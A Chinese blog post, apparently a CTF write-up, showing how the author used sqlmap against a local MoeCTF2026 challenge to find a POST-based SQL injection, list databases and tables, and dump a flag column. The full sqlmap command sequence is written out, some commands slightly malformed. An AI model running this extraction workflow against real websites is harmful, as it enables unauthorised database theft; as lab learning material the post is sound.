312 字
1 分钟
sqlmap使用实例
sqlmap使用实例
安装相关
怎么安装应该都会的吧
这里贴一个Github链接
Waiting for api.github.com...
# sqlmap 是纯 Python 标准库,无需 pip 安装任何依赖# 唯一要求:Python >= 2.7 或 Python 3.x
python --version # Python 3.8+ 推荐
# 可选依赖(部分高级特性需要)pip install pymysql # MySQL 直连pip install psycopg2 # PostgreSQL 直连pip install cx_Oracle # Oracle 直连pip install pyodbc # SQL Server 直连pip install impacket # Windows 认证pip install certifi # HTTPS 请求使用相关
这里目前就写我用到的功能,之后有什么新功能我用到了到时间再补
1.检查注入点
sqlmap -u 'http://xx/?id=1'以 MoeCTF2026 河湖小盗 为例
这里可以看到是用的post方法来上传id=1查找的
那么在sqlmap加上post的参数
python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch //--batch 是自动回答交互问题,所有选项都选默认选项得到下面的结果

这里是说有三种注入可用
- 布尔盲注
- 时间盲注
- 联合查询注入
这里我们当然使用联合查询注入,来看看有什么数据库
2.查看所有数据库
sqlmap -u 'http://xx/?id=1' --dbs这里这道题用
python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch --dbs
看到了有三个库
- information_schema //系统库
- past_paper
- performance_schema //系统库
所以这个past_paper大概率就是这道题用的数据库了
3.查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-dbpython sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --current-db
4.查看数据表
sqlmap -u 'http://xx/?id=1' -D 'security' --tablespython sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch -D past_paper --tables
这里列出了past_paper这个库的表,一眼丁真一下,flag_table就是我们要找的表
5.查看字段
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables然后我们来查看flag_table这个表下的字段
python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch -D past_paper --tables -T flag_table --column
已经看到flag了,接下来查看flag的数据就行了
6.查看数据
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dumppython sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch -D past_paper --tables -T flag_table -C "flag" -dump
OK了,得到flag了,「Mission Accomplished」
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐





